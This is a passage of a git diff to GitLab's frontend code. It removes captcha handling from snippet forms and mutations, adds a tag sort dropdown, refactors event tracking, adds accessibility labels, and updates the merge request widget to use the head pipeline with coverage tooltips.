- // If the user didn't solve the captcha (e.g. they just closed the modal),
- // finish the update and allow them to continue editing or manually resubmit the form.
- this.isUpdating = false;
- }
- },
},
};
</script>
@@ -249,11 +204,6 @@ export default {
class="loading-animation prepend-top-20 gl-mb-6"
/>
<template v-else>
- <captcha-modal
- :captcha-site-key="captchaSiteKey"
- :needs-captcha-response="needsCaptchaResponse"
- @receivedCaptchaResponse="receivedCaptchaResponse"
- />
<title-field
id="snippet-title"
v-model="snippet.title"
diff --git a/app/assets/javascripts/snippets/components/embed_dropdown.vue b/app/assets/javascripts/snippets/components/embed_dropdown.vue
index f6c9c569b5f..ad1b08a5a07 100644
--- a/app/assets/javascripts/snippets/components/embed_dropdown.vue
+++ b/app/assets/javascripts/snippets/components/embed_dropdown.vue
@@ -65,6 +65,7 @@ export default {
<gl-button
v-gl-tooltip.hover
:title="$options.MSG_COPY"
+ :aria-label="$options.MSG_COPY"
:data-clipboard-text="value"
icon="copy-to-clipboard"
data-qa-selector="copy_button"
diff --git a/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql b/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql
index 64d5d7c30fa..f688868d1b9 100644
--- a/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql
+++ b/app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql
@@ -4,7 +4,5 @@ mutation CreateSnippet($input: CreateSnippetInput!) {
snippet {
webUrl
}
- needsCaptchaResponse
- captchaSiteKey
}
}
diff --git a/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql b/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql
index 0a72f71b7c9..548725f7357 100644
--- a/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql
+++ b/app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql
@@ -4,8 +4,5 @@ mutation UpdateSnippet($input: UpdateSnippetInput!) {
snippet {
webUrl
}
- needsCaptchaResponse
- captchaSiteKey
- spamLogId
}
}
diff --git a/app/assets/javascripts/static_site_editor/graphql/index.js b/app/assets/javascripts/static_site_editor/graphql/index.js
index 23f800517c9..2ae2baddbcc 100644
--- a/app/assets/javascripts/static_site_editor/graphql/index.js
+++ b/app/assets/javascripts/static_site_editor/graphql/index.js
@@ -1,6 +1,7 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
+import appDataQuery from './queries/app_data.query.graphql';
import fileResolver from './resolvers/file';
import hasSubmittedChangesResolver from './resolvers/has_submitted_changes';
import submitContentChangesResolver from './resolvers/submit_content_changes';
@@ -28,7 +29,8 @@ const createApolloProvider = (appData) => {
// eslint-disable-next-line @gitlab/require-i18n-strings
const mounts = appData.mounts.map((mount) => ({ __typename: 'Mount', ...mount }));
- defaultClient.cache.writeData({
+ defaultClient.cache.writeQuery({
+ query: appDataQuery,
data: {
appData: {
__typename: 'AppData',
diff --git a/app/assets/javascripts/tags/components/sort_dropdown.vue b/app/assets/javascripts/tags/components/sort_dropdown.vue
new file mode 100644
index 00000000000..036ce2cca78
--- /dev/null
+++ b/app/assets/javascripts/tags/components/sort_dropdown.vue
@@ -0,0 +1,77 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlSearchBoxByClick } from '@gitlab/ui';
+import { mergeUrlParams, visitUrl, getParameterValues } from '~/lib/utils/url_utility';
+import { s__ } from '~/locale';
+
+export default {
+ i18n: {
+ searchPlaceholder: s__('TagsPage|Filter by tag name'),
+ },
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlSearchBoxByClick,
+ },
+ inject: ['sortOptions', 'filterTagsPath'],
+ data() {
+ return {
+ selectedKey: 'updated_desc',
+ searchTerm: '',
+ };
+ },
+ computed: {
+ selectedSortMethod() {
+ return this.sortOptions[this.selectedKey];
+ },
+ },
+ created() {
+ const sortValue = getParameterValues('sort');
+ const searchValue = getParameterValues('search');
+
+ if (sortValue.length > 0) {
+ [this.selectedKey] = sortValue;
+ }
+
+ if (searchValue.length > 0) {
+ [this.searchTerm] = searchValue;
+ }
+ },
+ methods: {
+ isSortMethodSelected(sortKey) {
+ return sortKey === this.selectedKey;
+ },
+ visitUrlFromOption(sortKey) {
+ this.selectedKey = sortKey;
+ const urlParams = {};
+
+ urlParams.search = this.searchTerm.length > 0 ? this.searchTerm : null;
+ urlParams.sort = sortKey;
+
+ const newUrl = mergeUrlParams(urlParams, this.filterTagsPath);
+ visitUrl(newUrl);
+ },
+ },
+};
+</script>
+<template>
+ <div class="gl-display-flex gl-pr-3">
+ <gl-search-box-by-click
+ v-model="searchTerm"
+ :placeholder="$options.i18n.searchPlaceholder"
+ class="gl-pr-3"
+ data-testid="tag-search"
+ @submit="visitUrlFromOption(selectedKey)"
+ />
+ <gl-dropdown :text="selectedSortMethod" right data-testid="tags-dropdown">
+ <gl-dropdown-item
+ v-for="(value, key) in sortOptions"
+ :key="key"
+ :is-checked="isSortMethodSelected(key)"
+ is-check-item
+ @click="visitUrlFromOption(key)"
+ >
+ {{ value }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </div>
+</template>
diff --git a/app/assets/javascripts/tags/index.js b/app/assets/javascripts/tags/index.js
new file mode 100644
index 00000000000..68510f3fe3a
--- /dev/null
+++ b/app/assets/javascripts/tags/index.js
@@ -0,0 +1,24 @@
+import Vue from 'vue';
+import SortDropdown from './components/sort_dropdown.vue';
+
+const mountDropdownApp = (el) => {
+ const { sortOptions, filterTagsPath } = el.dataset;
+
+ return new Vue({
+ el,
+ name: 'SortTagsDropdownApp',
+ components: {
+ SortDropdown,
+ },
+ provide: {
+ sortOptions: JSON.parse(sortOptions),
+ filterTagsPath,
+ },
+ render: (createElement) => createElement(SortDropdown),
+ });
+};
+
+export default () => {
+ const el = document.getElementById('js-tags-sort-dropdown');
+ return el ? mountDropdownApp(el) : null;
+};
diff --git a/app/assets/javascripts/tooltips/index.js b/app/assets/javascripts/tooltips/index.js
index f60c0759c72..49a43b120e0 100644
--- a/app/assets/javascripts/tooltips/index.js
+++ b/app/assets/javascripts/tooltips/index.js
@@ -44,10 +44,7 @@ const addTooltips = (elements, config) => {
const handleTooltipEvent = (rootTarget, e, selector, config = {}) => {
for (let { target } = e; target && target !== rootTarget; target = target.parentNode) {
if (isTooltip(target, selector)) {
- addTooltips([target], {
- show: true,
- ...config,
- });
+ addTooltips([target], config);
break;
}
}
diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js
index 01de034417e..cdfecceb78a 100644
--- a/app/assets/javascripts/tracking.js
+++ b/app/assets/javascripts/tracking.js
@@ -27,22 +27,33 @@ const DEFAULT_SNOWPLOW_OPTIONS = {
pageUnloadTimer: 10,
};
+const addExperimentContext = (opts) => {
+ const { experiment, ...options } = opts;
+ if (experiment) {
+ const data = getExperimentData(experiment);
+ if (data) {
+ const context = { schema: TRACKING_CONTEXT_SCHEMA, data };
+ return { ...options, context };
+ }
+ }
+ return options;
+};
+
const createEventPayload = (el, { suffix = '' } = {}) => {
- const action = el.dataset.trackEvent + (suffix || '');
+ const action = (el.dataset.trackAction || el.dataset.trackEvent) + (suffix || '');
let value = el.dataset.trackValue || el.value || undefined;
if (el.type === 'checkbox' && !el.checked) value = false;
- let context = el.dataset.trackContext;
- if (el.dataset.trackExperiment) {
- const data = getExperimentData(el.dataset.trackExperiment);
- if (data) context = { schema: TRACKING_CONTEXT_SCHEMA, data };
- }
+ const context = addExperimentContext({
+ experiment: el.dataset.trackExperiment,
+ context: el.dataset.trackContext,
+ });
const data = {
label: el.dataset.trackLabel,
property: el.dataset.trackProperty,
value,
- context,
+ ...context,
};
return {
@@ -52,7 +63,7 @@ const createEventPayload = (el, { suffix = '' } = {}) => {
};
const eventHandler = (e, func, opts = {}) => {
- const el = e.target.closest('[data-track-event]');
+ const el = e.target.closest('[data-track-event], [data-track-action]');
if (!el) return;
@@ -130,7 +141,9 @@ export default class Tracking {
static trackLoadEvents(category = document.body.dataset.page, parent = document) {
if (!this.enabled()) return [];
- const loadEvents = parent.querySelectorAll('[data-track-event="render"]');
+ const loadEvents = parent.querySelectorAll(
+ '[data-track-action="render"], [data-track-event="render"]',
+ );
loadEvents.forEach((element) => {
const { action, data } = createEventPayload(element);
@@ -148,7 +161,8 @@ export default class Tracking {
return localCategory || opts.category;
},
trackingOptions() {
- return { ...opts, ...this.tracking };
+ const options = addExperimentContext(opts);
+ return { ...options, ...this.tracking };
},
},
methods: {
diff --git a/app/assets/javascripts/user_lists/components/user_list.vue b/app/assets/javascripts/user_lists/components/user_list.vue
index e33a4b3ffb4..4cf3f3010b9 100644
--- a/app/assets/javascripts/user_lists/components/user_list.vue
+++ b/app/assets/javascripts/user_lists/components/user_list.vue
@@ -126,6 +126,7 @@ export default {
category="secondary"
variant="danger"
icon="remove"
+ :aria-label="__('Remove user')"
data-testid="delete-user-id"
@click="removeUserId(id)"
/>
diff --git a/app/assets/javascripts/users_select/index.js b/app/assets/javascripts/users_select/index.js
index e1a4a74b982..7c17ce85cc6 100644
--- a/app/assets/javascripts/users_select/index.js
+++ b/app/assets/javascripts/users_select/index.js
@@ -11,7 +11,6 @@ import {
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { isUserBusy } from '~/set_status_modal/utils';
import { fixTitle, dispose } from '~/tooltips';
-import ModalStore from '../boards/stores/modal_store';
import axios from '../lib/utils/axios_utils';
import { parseBoolean, spriteIcon } from '../lib/utils/common_utils';
import { loadCSSFile } from '../lib/utils/css_utils';
@@ -258,7 +257,11 @@ function UsersSelect(currentUser, els, options = {}) {
deprecatedJQueryDropdown.options.processData(term, users, callback);
});
},
- processData(term, data, callback) {
+ processData(term, dataArg, callback) {
+ // Sometimes the `dataArg` can contain special dropdown items like
+ // dividers which we don't want to consider here.
+ const data = dataArg.filter((x) => !x.type);
+
let users = data;
// Only show assigned user list when there is no search term
@@ -504,9 +507,7 @@ function UsersSelect(currentUser, els, options = {}) {
}
return;
}
- if ($el.closest('.add-issues-modal').length) {
- ModalStore.store.filter[$dropdown.data('fieldName')] = user.id;
- } else if (handleClick) {
+ if (handleClick) {
e.preventDefault();
handleClick(user, isMarking);
} else if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue
index cc3efae565a..b25c0cc0d96 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue
@@ -68,6 +68,7 @@ export default {
category="primary"
size="small"
:title="buttonTitle"
+ :aria-label="buttonTitle"
:loading="isLoading"
:disabled="isActionInProgress"
:class="`inline gl-ml-2 ${containerClasses}`"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
index 3419abd4738..1248a891ed9 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
@@ -14,6 +14,7 @@ import { s__, n__ } from '~/locale';
import PipelineMiniGraph from '~/pipelines/components/pipelines_list/pipeline_mini_graph.vue';
import PipelineArtifacts from '~/pipelines/components/pipelines_list/pipelines_artifacts.vue';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import { MT_MERGE_STRATEGY } from '../constants';
@@ -28,6 +29,7 @@ export default {
GlTooltip,
PipelineArtifacts,
PipelineMiniGraph,
+ TimeAgoTooltip,
TooltipOnTruncate,
LinkedPipelinesMiniList: () =>
import('ee_component/vue_shared/components/linked_pipelines_mini_list.vue'),
@@ -114,6 +116,9 @@ export default {
showSourceBranch() {
return Boolean(this.pipeline.ref.branch);
},
+ finishedAt() {
+ return this.pipeline?.details?.finished_at;
+ },
coverageDeltaClass() {
const delta = this.pipelineCoverageDelta;
if (delta && parseFloat(delta) > 0) {
@@ -127,10 +132,20 @@ export default {
pipelineCoverageJobNumberText() {
return n__('from %d job', 'from %d jobs', this.buildsWithCoverage.length);
},
+ pipelineCoverageTooltipDeltaDescription() {
+ const delta = parseFloat(this.pipelineCoverageDelta) || 0;
+ if (delta > 0) {
+ return s__('Pipeline|This change will increase the overall test coverage if merged.');
+ }
+ if (delta < 0) {
+ return s__('Pipeline|This change will decrease the overall test coverage if merged.');
+ }
+ return s__('Pipeline|This change will not change the overall test coverage if merged.');
+ },
pipelineCoverageTooltipDescription() {
return n__(
- 'Coverage value for this pipeline was calculated by the coverage value of %d job.',
- 'Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs.',
+ 'Test coverage value for this pipeline was calculated by the coverage value of %d job.',
+ 'Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs.',
this.buildsWithCoverage.length,
);
},
@@ -216,15 +231,24 @@ export default {
class="label-branch label-truncate gl-font-weight-normal"
/>
</template>
+ <template v-if="finishedAt">
+ <time-ago-tooltip
+ :time="finishedAt"
+ tooltip-placement="bottom"
+ data-testid="finished-at"
+ />
+ </template>
</div>
<div v-if="pipeline.coverage" class="coverage" data-testid="pipeline-coverage">
- {{ s__('Pipeline|Coverage') }} {{ pipeline.coverage }}%
+ {{ s__('Pipeline|Test coverage') }} {{ pipeline.coverage }}%
<span
v-if="pipelineCoverageDelta"
+ ref="pipelineCoverageDelta"
:class="coverageDeltaClass"
data-testid="pipeline-coverage-delta"
- >({{ pipelineCoverageDelta }}%)</span
>
+ ({{ pipelineCoverageDelta }}%)
+ </span>
{{ pipelineCoverageJobNumberText }}
<span ref="pipelineCoverageQuestion">
<gl-icon name="question" :size="12" />
@@ -242,6 +266,12 @@ export default {
{{ build.name }} ({{ build.coverage }}%)
</div>
</gl-tooltip>
+ <gl-tooltip
+ :target="() => $refs.pipelineCoverageDelta"
+ data-testid="pipeline-coverage-delta-tooltip"
+ >
+ {{ pipelineCoverageTooltipDeltaDescription }}
+ </gl-tooltip>
</div>
</div>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue
index 84a21a25552..6d68c15cf2d 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue
@@ -71,11 +71,11 @@ export default {
return (this.glFeatures.mergeRequestWidgetGraphql ? this.state : this.mr).targetBranch;
},
shouldRemoveSourceBranch() {
- if (this.glFeatures.mergeRequestWidgetGraphql) {
- return this.state.shouldRemoveSourceBranch || this.state.forceRemoveSourceBranch;
- }
+ if (!this.glFeatures.mergeRequestWidgetGraphql) return this.mr.shouldRemoveSourceBranch;
+
+ if (!this.state.shouldRemoveSourceBranch) return false;
- return this.mr.shouldRemoveSourceBranch;
+ return this.state.shouldRemoveSourceBranch || this.state.forceRemoveSourceBranch;
},
autoMergeStrategy() {
return (this.glFeatures.mergeRequestWidgetGraphql ? this.state : this.mr).autoMergeStrategy;
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
index 23f415c3116..ee90d734ecb 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
@@ -1,6 +1,5 @@
<script>
-import { GlButton, GlModalDirective, GlSkeletonLoader, GlPopover, GlLink } from '@gitlab/ui';
-import { s__ } from '~/locale';
+import { GlButton, GlModalDirective, GlSkeletonLoader } from '@gitlab/ui';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import mergeRequestQueryVariablesMixin from '../../mixins/merge_request_query_variables';
import userPermissionsQuery from '../../queries/permissions.query.graphql';
@@ -13,8 +12,6 @@ export default {
GlSkeletonLoader,
StatusIcon,
GlButton,
- GlPopover,
- GlLink,
},
directives: {
GlModalDirective,
@@ -93,24 +90,12 @@ export default {
return this.mr.sourceBranchProtected;
},
- popoverTitle() {
- return s__(
- 'mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected.',
- );
- },
showResolveButton() {
- return this.mr.conflictResolutionPath && this.canPushToSourceBranch;
- },
- showPopover() {
- return this.showResolveButton && this.sourceBranchProtected;
+ return (
+ this.mr.conflictResolutionPath && this.canPushToSourceBranch && !this.sourceBranchProtected
+ );
},
},
- i18n: {
- title: s__(
- 'mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected.',
- ),
- linkText: s__('mrWidget|Learn more about resolving conflicts'),
- },
};
</script>
<template>
@@ -141,33 +126,13 @@ export default {
}}
</span>
</span>
- <span v-if="showResolveButton" ref="popover">
- <gl-button
- :href="mr.conflictResolutionPath"
- :disabled="sourceBranchProtected"
- data-testid="resolve-conflicts-button"
- >
- {{ s__('mrWidget|Resolve conflicts') }}
- </gl-button>
- <gl-popover
- v-if="showPopover"
- :target="() => $refs.popover"
- placement="top"
- triggers="hover focus"
- >
- <template #title>
- <div class="gl-font-weight-normal gl-font-base">
- {{ $options.i18n.title }}
- </div>
- </template>
-
- <div class="gl-text-center">
- <gl-link :href="mr.conflictsDocsPath" target="_blank" rel="noopener noreferrer">
- {{ $options.i18n.linkText }}
- </gl-link>
- </div>
- </gl-popover>
- </span>
+ <gl-button
+ v-if="showResolveButton"
+ :href="mr.conflictResolutionPath"
+ data-testid="resolve-conflicts-button"
+ >
+ {{ s__('mrWidget|Resolve conflicts') }}
+ </gl-button>
<gl-button
v-if="canMerge"
v-gl-modal-directive="'modal-merge-info'"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
index 043d14e32a2..9da3bea9362 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
@@ -130,6 +130,7 @@ export default {
size="small"
category="secondary"
variant="warning"
+ data-qa-selector="revert_button"
@click="openRevertModal"
>
{{ revertLabel }}
@@ -151,6 +152,7 @@ export default {
v-gl-tooltip.hover
:title="cherryPickTitle"
size="small"
+ data-qa-selector="cherry_pick_button"
@click="openCherryPickModal"
>
{{ cherryPickLabel }}
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
index 62c5cd90035..751f8082e1a 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
@@ -15,10 +15,12 @@ import { isEmpty } from 'lodash';
import readyToMergeMixin from 'ee_else_ce/vue_merge_request_widget/mixins/ready_to_merge';
import readyToMergeQuery from 'ee_else_ce/vue_merge_request_widget/queries/states/ready_to_merge.query.graphql';
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
+import createFlash from '~/flash';
+import { secondsToMilliseconds } from '~/lib/utils/datetime_utility';
import simplePoll from '~/lib/utils/simple_poll';
import { __ } from '~/locale';
+import SmartInterval from '~/smart_interval';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { deprecatedCreateFlash as Flash } from '../../../flash';
import MergeRequest from '../../../merge_request';
import { AUTO_MERGE_STRATEGIES, DANGER, INFO, WARNING } from '../../constants';
import eventHub from '../../event_hub';
@@ -52,20 +54,27 @@ export default {
},
manual: true,
result({ data }) {
+ if (Object.keys(this.state).length === 0) {
+ this.removeSourceBranch =
+ data.project.mergeRequest.shouldRemoveSourceBranch ||
+ data.project.mergeRequest.forceRemoveSourceBranch ||
+ false;
+ this.commitMessage = data.project.mergeRequest.defaultMergeCommitMessage;
+ this.squashBeforeMerge = data.project.mergeRequest.squashOnMerge;
+ this.isSquashReadOnly = data.project.squashReadOnly;
+ this.squashCommitMessage = data.project.mergeRequest.defaultSquashCommitMessage;
+ }
+
this.state = {
...data.project.mergeRequest,
mergeRequestsFfOnlyEnabled: data.project.mergeRequestsFfOnlyEnabled,
onlyAllowMergeIfPipelineSucceeds: data.project.onlyAllowMergeIfPipelineSucceeds,
};
- this.removeSourceBranch =
- data.project.mergeRequest.shouldRemoveSourceBranch ||
- data.project.mergeRequest.forceRemoveSourceBranch ||
- false;
- this.commitMessage = data.project.mergeRequest.defaultMergeCommitMessage;
- this.squashBeforeMerge = data.project.mergeRequest.squashOnMerge;
- this.isSquashReadOnly = data.project.squashReadOnly;
- this.squashCommitMessage = data.project.mergeRequest.defaultSquashCommitMessage;
this.loading = false;
+
+ if (this.state.mergeTrainsCount !== null && this.state.mergeTrainsCount !== undefined) {
+ this.initPolling();
+ }
},
},
},
@@ -124,7 +133,7 @@ export default {
},
pipeline() {
if (this.glFeatures.mergeRequestWidgetGraphql) {
- return this.state.pipelines?.nodes?.[0];
+ return this.state.headPipeline;
}
return this.mr.pipeline;
@@ -291,8 +300,23 @@ export default {
if (this.glFeatures.mergeRequestWidgetGraphql) {
eventHub.$off('ApprovalUpdated', this.updateGraphqlState);
}
+
+ if (this.pollingInterval) {
+ this.pollingInterval.destroy();
+ }
},
methods: {
+ initPolling() {
+ const startingPollInterval = secondsToMilliseconds(5);
+
+ this.pollingInterval = new SmartInterval({
+ callback: () => this.$apollo.queries.state.refetch(),
+ startingInterval: startingPollInterval,
+ maxInterval: startingPollInterval + secondsToMilliseconds(4 * 60),
+ hiddenInterval: secondsToMilliseconds(6 * 60),
+ incrementByFactorOf: 2,
+ });
+ },
updateGraphqlState() {
return this.$apollo.queries.state.refetch();
},
@@ -351,7 +375,9 @@ export default {
})
.catch(() => {
this.isMakingRequest = false;
- new Flash(__('Something went wrong. Please try again.')); // eslint-disable-line
+ createFlash({
+ message: __('Something went wrong. Please try again.'),
+ });
});
},
handleMergeImmediatelyButtonClick() {
@@ -402,7 +428,9 @@ export default {
}
})
.catch(() => {
- new Flash(__('Something went wrong while merging this merge request. Please try again.')); // eslint-disable-line
+ createFlash({
+ message: __('Something went wrong while merging this merge request. Please try again.'),
+ });
stopPolling();
});
},
@@ -432,7 +460,9 @@ export default {
}
})
.catch(() => {
- new Flash(__('Something went wrong while deleting the source branch. Please try again.')); // eslint-disable-line
+ createFlash({
+ message: __('Something went wrong while deleting the source branch. Please try again.'),
+ });
});
},
},
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
index 6388b817e46..41b5983ae0c 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue
@@ -44,7 +44,8 @@ export default {
:checked="value"
:disabled="isDisabled"
name="squash"
- class="qa-squash-checkbox js-squash-checkbox gl-mr-2 gl-display-flex gl-align-items-center"
+ class="js-squash-checkbox gl-mr-2 gl-display-flex gl-align-items-center"
+ data-qa-selector="squash_checkbox"
:title="tooltipTitle"
@change="(checked) => $emit('input', checked)"
>
diff --git a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
index 89b095fbfc1..264ea36137f 100644
--- a/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue
@@ -480,6 +480,7 @@ export default {
v-if="mr.testResultsPath"
class="js-reports-container"
:endpoint="mr.testResultsPath"
+ :head-blob-path="mr.headBlobPath"
:pipeline-path="mr.pipeline.path"
/>
@@ -513,7 +514,7 @@ export default {
>
{{
s__(
- 'mrWidget|Fork merge requests do not create merge request pipelines which validate a post merge result',
+ 'mrWidget|If the last pipeline ran in the fork project, it may be inaccurate. Before merge, we advise running a pipeline in this project.',
)
}}
</mr-widget-alert-message>
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
index 13ea07884b1..871aa880b36 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql
@@ -11,11 +11,10 @@ query getState($projectPath: ID!, $iid: String!) {
mergeError
mergeStatus
mergeableDiscussionsState
- pipelines(first: 1) {
- nodes {
- status
- warnings
- }
+ headPipeline {
+ id
+ status
+ warnings
}
shouldBeRebased
sourceBranchExists
diff --git a/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql b/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql
index 8ee45b05431..367b9ad1cdf 100644
--- a/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql
@@ -30,13 +30,11 @@ fragment ReadyToMerge on Project {
message
}
}
- pipelines(first: 1) {
- nodes {
- id
- status
- path
- active
- }
+ headPipeline {
+ id
+ status
+ path
+ active
}
}
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
index 7ccbd771379..f57b638dd81 100644
--- a/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
+++ b/app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js
@@ -60,6 +60,7 @@ export default class MergeRequestStore {
this.rebaseInProgress = data.rebase_in_progress;
this.mergeRequestDiffsPath = data.diffs_path;
this.approvalsWidgetType = data.approvals_widget_type;
+ this.mergeRequestWidgetPath = data.merge_request_widget_path;
if (data.issues_links) {
const links = data.issues_links;
@@ -163,7 +164,7 @@ export default class MergeRequestStore {
setGraphqlData(project) {
const { mergeRequest } = project;
- const pipeline = mergeRequest.pipelines?.nodes?.[0];
+ const pipeline = mergeRequest.headPipeline;
this.projectArchived = project.archived;
this.onlyAllowMergeIfPipelineSucceeds = project.onlyAllowMergeIfPipelineSucceeds;
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue b/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue
index f7b49a85b83..3905ce2596c 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue
@@ -21,7 +21,7 @@ import Tracking from '~/tracking';
import initUserPopovers from '~/user_popovers';
import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import { SEVERITY_LEVELS } from '../constants';
+import { PAGE_CONFIG, SEVERITY_LEVELS } from '../constants';
import createIssueMutation from '../graphql/mutations/alert_issue_create.mutation.graphql';
import toggleSidebarStatusMutation from '../graphql/mutations/alert_sidebar_status.mutation.graphql';
import alertQuery from '../graphql/queries/alert_details.query.graphql';
@@ -92,6 +92,9 @@ export default {
projectIssuesPath: {
default: '',
},
+ statuses: {
+ default: PAGE_CONFIG.OPERATIONS.STATUSES,
+ },
trackAlertsDetailsViewsOptions: {
default: null,
},
@@ -367,7 +370,7 @@ export default {
>
{{ alert.runbook }}
</alert-summary-row>
- <alert-details-table :alert="alert" :loading="loading" />
+ <alert-details-table :alert="alert" :loading="loading" :statuses="statuses" />
</gl-tab>
<gl-tab
v-if="!isThreatMonitoringPage"
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/alert_sidebar.vue b/app/assets/javascripts/vue_shared/alert_details/components/alert_sidebar.vue
index a01bd462196..554c7a573fe 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/alert_sidebar.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/alert_sidebar.vue
@@ -19,10 +19,6 @@ export default {
projectId: {
default: '',
},
- // TODO remove this limitation in https://gitlab.com/gitlab-org/gitlab/-/issues/296717
- isThreatMonitoringPage: {
- default: false,
- },
},
props: {
alert: {
@@ -66,7 +62,6 @@ export default {
@alert-error="$emit('alert-error', $event)"
/>
<sidebar-status
- v-if="!isThreatMonitoringPage"
:project-path="projectPath"
:alert="alert"
@toggle-sidebar="$emit('toggle-sidebar')"
diff --git a/app/assets/javascripts/vue_shared/alert_details/components/alert_status.vue b/app/assets/javascripts/vue_shared/alert_details/components/alert_status.vue
index 8d5eb24ed1d..672761af1cf 100644
--- a/app/assets/javascripts/vue_shared/alert_details/components/alert_status.vue
+++ b/app/assets/javascripts/vue_shared/alert_details/components/alert_status.vue
@@ -3,6 +3,7 @@ import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import updateAlertStatusMutation from '~/graphql_shared/mutations/alert_status_update.mutation.graphql';
import { s__ } from '~/locale';
import Tracking from '~/tracking';
+import { PAGE_CONFIG } from '../constants';
export default {
i18n: {
@@ -11,11 +12,6 @@ export default {
),
UPDATE_ALERT_STATUS_INSTRUCTION: s__('AlertManagement|Please try again.'),
},
- statuses: {
- TRIGGERED: s__('AlertManagement|Triggered'),
- ACKNOWLEDGED: s__('AlertManagement|Acknowledged'),
- RESOLVED: s__('AlertManagement|Resolved'),
- },
components: {
GlDropdown,
GlDropdownItem,
@@ -42,6 +38,11 @@ export default {
type: Boolean,
required: true,
},
